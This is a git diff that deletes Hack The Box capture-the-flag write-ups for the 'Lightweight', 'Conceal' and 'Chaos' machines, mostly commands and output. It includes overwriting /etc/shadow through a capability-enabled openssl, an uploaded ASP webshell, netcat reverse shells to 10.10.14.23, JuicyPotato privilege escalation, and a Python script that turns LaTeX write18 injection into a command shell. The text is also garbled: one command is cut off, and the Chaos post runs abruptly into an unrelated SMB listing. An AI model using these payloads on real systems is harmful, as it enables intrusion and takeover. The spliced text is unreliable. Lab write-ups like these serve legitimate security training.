-[10.10.14.23@lightweight ~]$ su -l ldapuser2 -Password: -Last login: Mon Dec 10 21:41:37 GMT 2018 on pts/1 -Last failed login: Tue Dec 11 04:35:22 GMT 2018 from 10.10.14.23 on ssh:notty -There was 1 failed login attempt since the last successful login. -[ldapuser2@lightweight ~]$ ls -backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt - -[ldapuser2@lightweight ~]$ cat user.txt -8a866d... -``` - -### Privesc to ldapuser1 - -The `backup.7z` file in ldapuser2's home directory is our next logical target, however it has a password set on it: - -``` -# 7z e backup.7z - -7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 -p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI) - -Scanning the drive for archives: -1 file, 3411 bytes (4 KiB) - -Extracting archive: backup.7z --- -Path = backup.7z -Type = 7z -Physical Size = 3411 -Headers Size = 259 -Method = LZMA2:12k 7zAES -Solid = + -Blocks = 1 - - -Enter password (will not be echoed): -``` - -I'll use `7z2john` to extract the hash then crack it with `john`: -``` -root@ragingunicorn:~/JohnTheRipper/run# ./7z2john.pl /root/tmp/backup.7z - -backup.7z:$7z$2$19$0$$8$11e96[...] - -# ~/JohnTheRipper/run/john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-70.txt hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES]) -Cost 1 (iteration count) is 524288 for all loaded hashes -Cost 2 (padding size) is 12 for all loaded hashes -Cost 3 (compression type) is 2 for all loaded hashes -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -delete (?) -1g 0:00:00:40 DONE (2018-12-10 23:59) 0.02448g/s 50.53p/s 50.53c/s 50.53C/s poison..nokia -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -Password is : `delete` - -``` -# 7z x -obackup backup.7z - -7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 -[...] -Size: 10270 -Compressed: 3411 -root@ragingunicorn:~/tmp# ls -l backup -total 24 --rw-r----- 1 root root 4218 Jun 13 14:48 index.php --rw-r----- 1 root root 1764 Jun 13 14:47 info.php --rw-r----- 1 root root 360 Jun 10 2018 reset.php --rw-r----- 1 root root 2400 Jun 14 15:06 status.php --rw-r----- 1 root root 1528 Jun 13 14:47 user.php -``` - -We have a backup of the web application source code and `status.php` contains credentials: - -```php -$username = 'ldapuser1'; -$password = 'f3ca9d298a553da117442deeb6fa932d'; -``` - -We can then `su` to `ldapuser1` with that password: - -``` -[10.10.14.23@lightweight ~]$ su -l ldapuser1 -Password: -Last login: Tue Dec 11 02:01:07 GMT 2018 on pts/1 -[ldapuser1@lightweight ~]$ ls -capture.pcap ldapTLS.php openssl tcpdump -``` - -### Final privesc - -Checking caps again, we see the `openssl` binary in the current directory has caps set: - -``` -[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null -/usr/bin/ping = cap_net_admin,cap_net_raw+p -/usr/sbin/mtr = cap_net_raw+ep -/usr/sbin/suexec = cap_setgid,cap_setuid+ep -/usr/sbin/arping = cap_net_raw+p -/usr/sbin/clockdiff = cap_net_raw+p -/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep -/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep -/home/ldapuser1/openssl =ep -``` - -The `=ep` caps means the all capabilities are assigned to the file. We can read `/etc/shadow` with openssl by encrypting it to a file in our home directory, then decrypting it: - -``` --256-cbc encryption password: -Verifying - enter aes-256-cbc encryption password: -[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out shadow -enter aes-256-cbc decryption password: -[ldapuser1@lightweight ~]$ cat shadow -root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7::: -[...] -ldapuser1:$6$OZfv1n9[v$2gh4EFIrLW5hZEEzrVn4i8bYfXMyiPp2450odPwiL5yGOHYksVd8dCTqeDt3ffgmwmRYw49c]MFueNZNOoI6A1.:17691:365:99999:7::: -ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1:17691:365:99999:7::: -10.10.14.2:clJFBL7EDs1H6:17851:0:99999:7::: -10.10.14.13:qehr2qxjyEzkw:17874:0:99999:7::: -10.10.14.26:syd74YenpBuf6:17875:0:99999:7::: -10.10.14.12:pdfLwDAqvvWI2:17876:0:99999:7::: -10.10.14.23:owYEfkaBVoeFI:17876:0:99999:7::: -``` - -We probably can't crack the root hash because the HTB boxes typically have a very complex password for the root account but we can replace the shadow file with an empty root password: - -``` -[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in shadow -out shadow.enc -enter aes-256-cbc encryption password: -Verifying - enter aes-256-cbc encryption password: -[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out /etc/shadow -enter aes-256-cbc decryption password: -[ldapuser1@lightweight ~]$ su -l root -Last login: Thu Dec 6 14:09:41 GMT 2018 on tty1 -[root@lightweight ~]# id -uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 - -[root@lightweight ~]# cat root.txt -f1d4e3... -``` diff --git a/_posts/2019-05-18-htb-writeup-conceal.md b/_posts/2019-05-18-htb-writeup-conceal.md deleted file mode 100644 index 04f7ce4ab2..0000000000 --- a/_posts/2019-05-18-htb-writeup-conceal.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -layout: single -title: Conceal - Hack The Box -excerpt: "Conceal uses IPSec to secure connectivity to the server and nothing is exposed by default except SNMP and IPSec. After finding the preshared key by enumerating with SNMP, we connect to the server, upload an ASP payload to gain RCE then privesc to SYSTEM using RottenPotato. Not a bad box overall, but the initial part of figuring out the IPSec configuration parameters took me a while to figure out/guess." -date: 2019-05-18 -classes: wide -header: - teaser: /assets/images/htb-writeup-conceal/conceal_logo.png -categories: - - hackthebox - - infosec -tags: - - asp - - ipsec - - vpn - - rotten tomato ---- - -![](/assets/images/htb-writeup-conceal/conceal_logo.png) - -Conceal uses IPSec to secure connectivity to the server and nothing is exposed by default except SNMP and IPSec. After finding the preshared key by enumerating with SNMP, we connect to the server, upload an ASP payload to gain RCE then privesc to SYSTEM using RottenPotato. Not a bad box overall, but the initial part of figuring out the IPSec configuration parameters took me a while to figure out/guess - -## Summary - -- The box has a security rule configured that only allows clients to connect to it through an IPSec tunnel -- SNMP is configured with a default `public` community string, allowing us to see the IPSec pre-shared key (PSK) -- Using an IPSec client such as StrongSwan, we can connect to it but we need to only allow TCP through otherwise the Phase2 negotiation fails -- Next, we can access the FTP and HTTP port on the server and locate an `/upload` directory on the IIS server -- We can upload files to the webserver using the FTP anonymous user, gaining RCE with an ASP webshell -- The user running the webserver has `SeImpersonatePrivilege` privilege so we can use JuicyPotato to elevate to SYSTEM - -### Portscan - -Nothing shows up on the TCP nmap scan but IKE is running on UDP port 500. - -```console -# nmap -sU -F 10.10.10.116 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 22:13 EST -Nmap scan report for conceal.htb (10.10.10.116) -Host is up (0.027s latency). -Not shown: 99 open|filtered ports -PORT STATE SERVICE -500/udp open isakmp -``` - -### SNMP - -SNMP is running with default `public` community, we can see with `snmp-check` that the `contact` field contains the pre-shared key for the IPSec VPN. - -```console -# snmp-check 10.10.10.116 -snmp-check v1.9 - SNMP enumerator -Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) - -[+] Try to connect to 10.10.10.116:161 using SNMPv1 and community 'public' - -[*] System information: - - Host IP address : 10.10.10.116 - Hostname : Conceal - Description : Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free) - Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43 - Location : - - Uptime snmp : 02:32:57.70 - Uptime system : 02:32:29.67 - System date : 2019-1-7 03:09:29.3 - Domain : WORKGROUP -[...] -``` - -### VPN connection - -The VPN configuration was pretty tough to put together because IPSec is not very verbose when it fails to connect. The main items that we need to configure specifically are: - -- Phase1 transform-set: `3des-sha1-modp1024!` -- Phase2 transform-set: `des-sha1!` -- Connection type: `transport` -- Protocols allowed: `[tcp]` - -**/etc/ipsec.conf** -``` -config setup - charondebug="all" - uniqueids=yes - strictcrlpolicy=no - -conn %default - authby=secret - -conn conceal - keyexchange=ikev1 - left=10.10.14.23 - right=10.10.10.116 - rightsubnet=10.10.10.116[tcp] - auto=add - ike=3des-sha1-modp1024! - esp=3des-sha1! - type=transport -``` - -**/etc/ipsec.secrets** -``` -%any : PSK "Dudecake1!" -``` - -I also had to lower the MTU of the VMware eth0 interface and both OpenVPN tunnel and IPSec tunnel interfaces, to be certain that I would not have any problems sending large packets. Initially with the default MTU I had issues sending large packets during the FTP upload: the connection would freeze intermittently during the upload or even when interacting with the webshell. - -``` -# ip a -2: eth0: mtu 1440 qdisc pfifo_fast state UNKNOWN group default qlen 1000 -[...] -7: ip_vti0@NONE: mtu 1360 qdisc noop state DOWN group default qlen 1000 -[...] -17: tun0: mtu 1380 qdisc pfifo_fast state UNKNOWN group default qlen 100 -``` - -Once everything is configured, we can successfully connect to the VPN: - -```console -# ipsec up conceal -initiating Main Mode IKE_SA conceal[1] to 10.10.10.116 -generating ID_PROT request 0 [ SA V V V V V ] -sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (176 bytes) -received packet: from 10.10.10.116[500] to 10.10.14.23[500] (208 bytes) -parsed ID_PROT response 0 [ SA V V V V V V ] -received MS NT5 ISAKMPOAKLEY vendor ID -received NAT-T (RFC 3947) vendor ID -received draft-ietf-ipsec-nat-t-ike-02\n vendor ID -received FRAGMENTATION vendor ID -received unknown vendor ID: fb:1d:e3:cd:f3:41:b7:ea:16:b7:e5:be:08:55:f1:20 -received unknown vendor ID: e3:a5:96:6a:76:37:9f:e7:07:22:82:31:e5:ce:86:52 -selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024 -generating ID_PROT request 0 [ KE No NAT-D NAT-D ] -sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (244 bytes) -received packet: from 10.10.10.116[500] to 10.10.14.23[500] (260 bytes) -parsed ID_PROT response 0 [ KE No NAT-D NAT-D ] -generating ID_PROT request 0 [ ID HASH N(INITIAL_CONTACT) ] -sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (100 bytes) -received packet: from 10.10.10.116[500] to 10.10.14.23[500] (68 bytes) -parsed ID_PROT response 0 [ ID HASH ] -IKE_SA conceal[1] established between 10.10.14.23[10.10.14.23]...10.10.10.116[10.10.10.116] -scheduling reauthentication in 9759s -maximum IKE_SA lifetime 10299s -generating QUICK_MODE request 2486327527 [ HASH SA No ID ID ] -sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (164 bytes) -received packet: from 10.10.10.116[500] to 10.10.14.23[500] (188 bytes) -parsed QUICK_MODE response 2486327527 [ HASH SA No ID ID ] -selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ -CHILD_SA conceal{1} established with SPIs c9f0dac2_i 65f81cda_o and TS 10.10.14.23/32 === 10.10.10.116/32[tcp] -generating QUICK_MODE request 2486327527 [ HASH ] -connection 'conceal' established successfully - -# ipsec status -Security Associations (1 up, 0 connecting): - conceal[1]: ESTABLISHED 3 seconds ago, 10.10.14.23[10.10.14.23]...10.10.10.116[10.10.10.116] - conceal{1}: INSTALLED, TRANSPORT, reqid 1, ESP SPIs: c9f0dac2_i 65f81cda_o - conceal{1}: 10.10.14.23/32 === 10.10.10.116/32[tcp] -``` - -### 2nd portscan - -After we're connected, we can run a portscan again and find additional ports. - -``` -# nmap -sT -F 10.10.10.116 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 22:36 EST -Nmap scan report for conceal.htb (10.10.10.116) -Host is up (0.032s latency). -Not shown: 95 closed ports -PORT STATE SERVICE -21/tcp open ftp -80/tcp open http -135/tcp open msrpc -139/tcp open netbios-ssn -445/tcp open microsoft-ds -``` - - -### Gaining RCE through the IIS webserver - -The IIS server has a default page configured. - -![](/assets/images/htb-writeup-conceal/iis_generic.png) - -Let's use `gobuster` to find interesting stuff on the server: - -``` -# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://10.10.10.116 -/upload (Status: 301) -``` - -Ok, so there's an upload page and it seems that we can upload files to the IIS root directory with the FTP anonymous account: - -``` -# echo "This is a test" > test.txt -# curl -T test.txt ftp://10.10.10.116 - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed -100 15 0 0 100 15 0 53 --:--:-- --:--:-- --:--:-- 53 -# curl http://10.10.10.116/upload/test.txt -This is a test -``` - -Next, let's upload an .asp webshell so we can run commands on the server. I used the following webshell: [https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp) - -``` -# curl -t curl -T snow.asp ftp://10.10.10.116 - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed -100 1356 0 0 100 1356 0 4237 --:--:-- --:--:-- --:--:-- 4237 -``` - -We now have RCE and we can grab the user flag from the `Destitute` user directory. - -![](/assets/images/htb-writeup-conceal/userflag.png) - -### Privesc - -The upload directory is located here: `C:\inetpub\wwwroot\upload\snow.asp` - -To get a proper shell, we can upload `nc.exe` and run it with `C:\inetpub\wwwroot\upload\nc.exe -e cmd.exe 10.10.14.23 80` - -``` -# nc -lvnp 80 -listening on [any] 80 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.116] 49684 -Microsoft Windows [Version 10.0.15063] -(c) 2017 Microsoft Corporation. All rights reserved. - -C:\Windows\SysWOW64\inetsrv>whoami -conceal\destitute - -C:\Windows\SysWOW64\inetsrv>whoami /priv - -PRIVILEGES INFORMATION ----------------------- - -Privilege Name Description State -============================= ========================================= ======== -SeAssignPrimaryTokenPrivilege Replace a process level token Disabled -SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled -SeShutdownPrivilege Shut down the system Disabled -SeAuditPrivilege Generate security audits Disabled -SeChangeNotifyPrivilege Bypass traverse checking Enabled -SeUndockPrivilege Remove computer from docking station Disabled -SeImpersonatePrivilege Impersonate a client after authentication Enabled -SeIncreaseWorkingSetPrivilege Increase a process working set Disabled -SeTimeZonePrivilege Change the time zone Disabled -``` - -Running `whoami /priv`, we see that the rights for the user will allow us to use the RottenPotato exploit to elevate to NT AUTORITY/SYSTEM. - -We need to pick the appropriat CLSID for our OS so first we'll check which Windows version is running: - -``` -C:\inetpub\wwwroot\upload>systeminfo -systeminfo - -Host Name: CONCEAL -OS Name: Microsoft Windows 10 Enterprise -OS Version: 10.0.15063 N/A Build 15063 -``` - -Next, we check the [https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md](https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md) site for a list of CLSID for the OS. - -We'll use `{8BC3F05E-D86B-11D0-A075-00C04FB68820}`, for no particular reason then execute JuicyPotato and run another netcat to spawn a new reverse shell for us. - -``` -C:\inetpub\wwwroot\upload>juicypotato.exe -l 1234 -p nc.exe -a "-e cmd.exe 10.10.14.23 443" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -juicypotato.exe -l 1234 -p nc.exe -a "-e cmd.exe 10.10.14.23 443" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -Testing {8BC3F05E-D86B-11D0-A075-00C04FB68820} 1234 -...... -[+] authresult 0 -{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM - -[+] CreateProcessWithTokenW OK - -C:\inetpub\wwwroot\upload> -``` - -And... we get a shell back as `NT AUTHORITY\SYSTEM`: - -``` -# nc -lvnp 443 -listening on [any] 443 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.116] 49709 -Microsoft Windows [Version 10.0.15063] -(c) 2017 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -whoami -nt authority\system - -C:\Windows\system32>type c:\users\administrator\desktop\proof.txt -type c:\users\administrator\desktop\proof.txt -5737DD... -``` \ No newline at end of file diff --git a/_posts/2019-05-25-htb-writeup-chaos.md b/_posts/2019-05-25-htb-writeup-chaos.md deleted file mode 100644 index 8490539701..0000000000 --- a/_posts/2019-05-25-htb-writeup-chaos.md +++ /dev/null @@ -1,378 +0,0 @@ ---- -layout: single -title: Chaos - Hack The Box -excerpt: "Chaos starts with some enumeration to find a hidden wordpress site that contains a set of credentials for a webmail site. There's some simple crypto we have to do to decrypt an attachment and find a hidden link on the site. We then exploit the PDF creation website which uses LaTeX and gain RCE. After getting a reverse shell, we do some digging into the user's folders and find the webmin root credentials stored in the Firefox user profile." -date: 2019-05-25 -classes: wide -header: - teaser: /assets/images/htb-writeup-chaos/chaos_logo.png -categories: - - hackthebox - - infosec -tags: - - wordpress - - weak credentials - - pdf - - LaTeX - - firefox - - saved credentials ---- - -![](/assets/images/htb-writeup-chaos/chaos_logo.png) - -Chaos starts with some enumeration to find a hidden wordpress site that contains a set of credentials for a webmail site. There's some simple crypto we have to do to decrypt an attachment and find a hidden link on the site. We then exploit the PDF creation website which uses LaTeX and gain RCE. After getting a reverses shell, we do some digging into the user's folders and find the webmin root credentials stored in the Firefox user profile. - -## Summary - -- There's a hidden wordpress blog with a password protected post -- By enumerating the users with wpscan, we find a single user `human` which is also the password for the protected post -- The post contains the credentials for a webmail account on webmail.chaos.htb site -- The user mailbox has a message directing us to another hidden URI on the site which contains a PDF maker application -- The application uses LaTeX and we can do command injection to get a reverse shell -- From `www-data` we can `su` to user `ayush` with the credentials we got from the wordpress post -- Searching the `ayush` home directory, we find a `.mozilla` directory which has saved `root` credentials for the Webmin application - -## Blog / Tools used - -- [wpscan](https://wpscan.org/) -- [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) -- [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) - -### Nmap - -Services running: -- HTTP server -- IMAP & POP3 -- Webmin (not vulnerable to any CVE as far as I could see) - -``` -# nmap -sC -sV -p- 10.10.10.120 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 17:38 EST -Nmap scan report for 10.10.10.120 -Host is up (0.029s latency). -Not shown: 65529 closed ports -PORT STATE SERVICE VERSION -80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) -|_http-server-header: Apache/2.4.34 (Ubuntu) -|_http-title: Site doesn't have a title (text/html). -110/tcp open pop3 Dovecot pop3d -|_pop3-capabilities: SASL AUTH-RESP-CODE STLS TOP PIPELINING RESP-CODES CAPA UIDL -| ssl-cert: Subject: commonName=chaos -| Subject Alternative Name: DNS:chaos -| Not valid before: 2018-10-28T10:01:49 -|_Not valid after: 2028-10-25T10:01:49 -|_ssl-date: TLS randomness does not represent time -143/tcp open imap Dovecot imapd (Ubuntu) -|_imap-capabilities: Pre-login more SASL-IR capabilities LITERAL+ STARTTLS have LOGIN-REFERRALS post-login listed OK ENABLE LOGINDISABLEDA0001 ID IDLE IMAP4rev1 -| ssl-cert: Subject: commonName=chaos -| Subject Alternative Name: DNS:chaos -| Not valid before: 2018-10-28T10:01:49 -|_Not valid after: 2028-10-25T10:01:49 -|_ssl-date: TLS randomness does not represent time -993/tcp open ssl/imap Dovecot imapd (Ubuntu) -|_imap-capabilities: Pre-login SASL-IR capabilities LITERAL+ AUTH=PLAINA0001 more LOGIN-REFERRALS have post-login listed ENABLE OK ID IDLE IMAP4rev1 -| ssl-cert: Subject: commonName=chaos -| Subject Alternative Name: DNS:chaos -| Not valid before: 2018-10-28T10:01:49 -|_Not valid after: 2028-10-25T10:01:49 -|_ssl-date: TLS randomness does not represent time -995/tcp open ssl/pop3 Dovecot pop3d -|_pop3-capabilities: SASL(PLAIN) AUTH-RESP-CODE USER TOP PIPELINING RESP-CODES CAPA UIDL -| ssl-cert: Subject: commonName=chaos -| Subject Alternative Name: DNS:chaos -| Not valid before: 2018-10-28T10:01:49 -|_Not valid after: 2028-10-25T10:01:49 -|_ssl-date: TLS randomness does not represent time -10000/tcp open http MiniServ 1.890 (Webmin httpd) -|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Enumeration of the different pages - -There's a couple of different web pages: - -1. If an FQDN is not used, we get a page with `Direct IP not allowed` error message: - -![](/assets/images/htb-writeup-chaos/directip.png) - -2. The main **chaos.htb** page is just a generic corporate webpage with nothing else interesting on it: - -![](/assets/images/htb-writeup-chaos/webpage.png) - -3. The page on port 10000 contains a link to HTTPS for the Webmin app - -![](/assets/images/htb-writeup-chaos/port10000.png) - -![](/assets/images/htb-writeup-chaos/webmin.png) - -Observations: -- Nothing interesting on the main page (just a static page) -- We can't log in to the Webmin application (tried guessing credentials, checking CVEs) - -### Dirbusting the website - -Next, let's dirbust the site to find hidden files & folders: - -Checking **10.10.10.120** -``` -# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -s 200,204,301,302 -u http://10.10.10.120 -/javascript (Status: 301) -/wp (Status: 301) -``` - -Checking **chaos.htb** -``` -# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -s 200,204,301,302 -u http://chaos.htb -/css (Status: 301) -/img (Status: 301) -/javascript (Status: 301) -/js (Status: 301) -/source (Status: 301) -``` - -Let's check out that Wordpress site. - -### Wordpress - -The site has a single post protected by a password: - -![](/assets/images/htb-writeup-chaos/wordpress.png) - -Next, let's use wpscan to check for any WP vulnerabilities. There doesn't seem to be any obvious non-authenticated vulnerability based on wpscan's output, but we find a single user: - -``` -# wpscan -u http://10.10.10.120/wp/wordpress -... -[!] Detected 1 user from RSS feed: -+-------+ -| Name | -+-------+ -| human | -+-------+ -``` - -If we try `human` as the password for the protected post we get: - -![](/assets/images/htb-writeup-chaos/credentials.png) - -So we got the following credentials: -- user: `ayush` -- pass: `jiujitsu` - -### Access to webmail - -The note we found refers to **webmail**, so if we modify our local host file and add `webmail.chaos.htb` we get to the following page: - -![](/assets/images/htb-writeup-chaos/webmail.png) - -There's a message in the Drafts folder containing an encrypted message: - -![](/assets/images/htb-writeup-chaos/email.png) - -We're provided with the source code of the encryption app, which is basically just using AES in CBC mode and using the `sahay` name as the password (as the email says). The filesize and IV are stored at the beginning of the output file. We have all the pieces to decrypt the file, we just need to write a quick script to do that. - -```python -from Crypto import Random -from Crypto.Cipher import AES -from Crypto.Hash import SHA256 - -def getKey(password): - hasher = SHA256.new(password) - return hasher.digest() - -with open('enim_msg.txt') as f: - c = f.read() - -filesize = int(c[:16]) -print("filesize: %d" % filesize) -iv = c[16:32] -print("IV: %s" % iv) -key = getKey("sahay") -cipher = AES.new(key, AES.MODE_CBC, iv ) -print cipher.decrypt(c[32:]) -``` - -The decrypted message is: - -``` -Hii Sahay - -Please check our new service which create pdf - -p.s - As you told me to encrypt important msg, i did :) - -http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 - -Thanks, -Ayush -``` - -### PDF maker app - -The hidden directory contains a web application that generates PDF files. - -![](/assets/images/htb-writeup-chaos/pdfmaker.png) - -The page uses javascript to do an Ajax call to the backend `ajax.php` file: - -```javascript -function senddata() { - var content = $("#content").val(); - var template = $("#template").val(); - - if(content == "") { - $("#output").text("No input given!"); - } - $.ajax({ - url: "ajax.php", - data: { - 'content':content, - 'template':template - }, - method: 'post' - }).success(function(data) { - $("#output").text(data) - }).fail(function(data) { - $("#output").text("OOps, something went wrong...\n"+data) - }) - return false; -} -``` - -![](/assets/images/htb-writeup-chaos/latex_post.png) - -The results of the POST request looks like this: - -![](/assets/images/htb-writeup-chaos/latex_output.png) - -So the backend uses LaTeX to convert the data into a PDF. After doing some googling I found a [nice blog post](https://0day.work/hacking-with-latex/) about ways to execute arbitrary command using LaTeX. - -There's a few commands that are blacklisted, like: - - `\input{/etc/passwd}` - - `\include{password}` - - ![](/assets/images/htb-writeup-chaos/blacklisted.png) - - However the `\immediate\write18{whoami}` command is allowed. The output contains extra stuff but we can see that the `whoami` command was executed: - - ![](/assets/images/htb-writeup-chaos/rce.png) - -I wrote a quick python script that sends the commands using the method above and also cleans up the output with some regex: - -```python -{% raw %} -import re -import requests - -headers = { - 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', - 'X-Requested-With': 'XMLHttpRequest', - 'Cookie': 'redirect=1' -} - -while (True): - cmd = raw_input('> ') - - data = { - 'content': '\\immediate\\write18{%s}' % cmd, - 'template': 'test1' - } - - r = requests.post('http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php', headers=headers, data=data) - out = r.text - m = re.search('.*\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd\)\n\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd\)(.*)\[1', out, re.MULTILINE|re.DOTALL) - if m: - print m.group(1) -{% endraw %} -``` - -The output of the script looks like this: - -``` -# python crapshell.py -> whoami -www-data - -> id -uid=33(www-data) gid=33(www-data) groups=33(www-data) - -> ls -l /home -total 8 -drwx------ 6 ayush ayush 4096 Dec 16 03:32 ayush -drwx------ 5 sahay sahay 4096 Nov 24 23:53 sahay -``` - -We still want to get a proper shell so what I did was download `nc` to the box and then spawn a reverse shell: - -``` -> wget -O /tmp/nc 10.10.14.23/nc - -> chmod +x /tmp/nc - -> /tmp/nc -e /bin/bash 10.10.14.23 4444 - -[...] - -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.120] 52378 -id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -python -c 'import pty;pty.spawn("/bin/bash")' -www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ -``` - -There's not much we can do with `www-data` except look at the web app source code and get the MySQL password for the Wordpress and Roundcube install. But we already have the `ayush` credentials so we can `su` to this user and get the `user.txt` flag: - -``` -www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -l ayush -Password: jiujitsu - -ayush@chaos:~$ cat user.txt -Command 'cat' is available in '/bin/cat' -The command could not be located because '/bin' is not included in the PATH environment variable. -cat: command not found -ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin - ls - . D 0 Tue Jul 3 11:22:32 2018 - .. D 0 Tue Jul 3 11:22:32 2018 - Accounting D 0 Mon Jul 2 15:21:43 2018 - Audit D 0 Mon Jul 2 15:14:28 2018 - Banking D 0 Tue Jul 3 11:22:39 2018 - CEO_protected D 0 Mon Jul 2 15:15:01 2018 - Devops D 0 Mon Jul 2 15:19:33 2018 - Finance D 0 Mon Jul 2 15:11:57 2018 - HR D 0 Mon Jul 2 15:16:11 2018 - Infosec D 0 Mon Jul 2 15:14:24 2018 - Infrastructure D 0 Mon Jul 2 15:13:59 2018 - IT D 0 Mon Jul 2 15:12:04 2018 - Legal D 0 Mon Jul 2 15:12:09 2018 - M&A D 0 Mon Jul 2 15:15:25 2018 - Marketing D 0 Mon Jul 2 15:14:43 2018 - R&D D 0 Mon Jul 2 15:11:47 2018 - Sales D 0 Mon Jul 2 15:14:37 2018 - Security D 0 Mon Jul 2 15:21:47 2018 - Tax D 0 Mon Jul 2 15:16:54 2018 - Users D 0 Tue Jul 10 17:39:32 2018 - ZZ_ARCHIVE D 0 Mon Jul 2 15:32:58 2018 - - 7779839 blocks of size 4096. 2634403 blocks available -``` - -In `ZZ_ARCHIVE`, there's a bunch of files with random names: - -``` -smb: \ZZ_ARCHIVE\> dir - . D 0 Mon Jul 2 15:32:58 2018 - .. D 0 Mon Jul 2 15:32:58 2018 - AddComplete.pptx A 419430 Mon Jul 2 15:32:58 2018 - AddMerge.ram A 419430 Mon Jul 2 15:32:57 2018 - ConfirmUnprotect.doc A 419430 Mon Jul 2 15:32:57 2018 - ConvertFromInvoke.mov A 419430 Mon Jul 2 15:32:57 2018 - ConvertJoin.docx A 419430 Mon Jul 2 15:32:57 2018 - CopyPublish.ogg A 419430 Mon Jul 2 15:32:57 2018 - DebugMove.mpg A 419430 Mon Jul 2 15:32:57 2018 - DebugSelect.mpg A 419430 Mon Jul 2 15:32:58 2018 - DebugUse.pptx A 419430 Mon Jul 2 15:32:57 2018 -[...] -``` - -However when we check, they are all identical and only contain null bytes. - -``` -# xxd AddComplete.pptx |more -00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ -00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ -00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ -00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ -00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ -[...] -``` - -To make sure they are all identical and that none of them contain something hidden, I checked the md5sum of all the files in the directory. The `6fa74ff6dd88878b4b56092a950035f8` MD5 hash is the same for all the files. This is just a troll/diversion, we can ignore these. - -``` -# md5sum * -6fa74ff6dd88878b4b56092a950035f8 AddComplete.pptx -6fa74ff6dd88878b4b56092a950035f8 AddMerge.ram -6fa74ff6dd88878b4b56092a950035f8 ConfirmUnprotect.doc -6fa74ff6dd88878b4b56092a950035f8 ConvertFromInvoke.mov 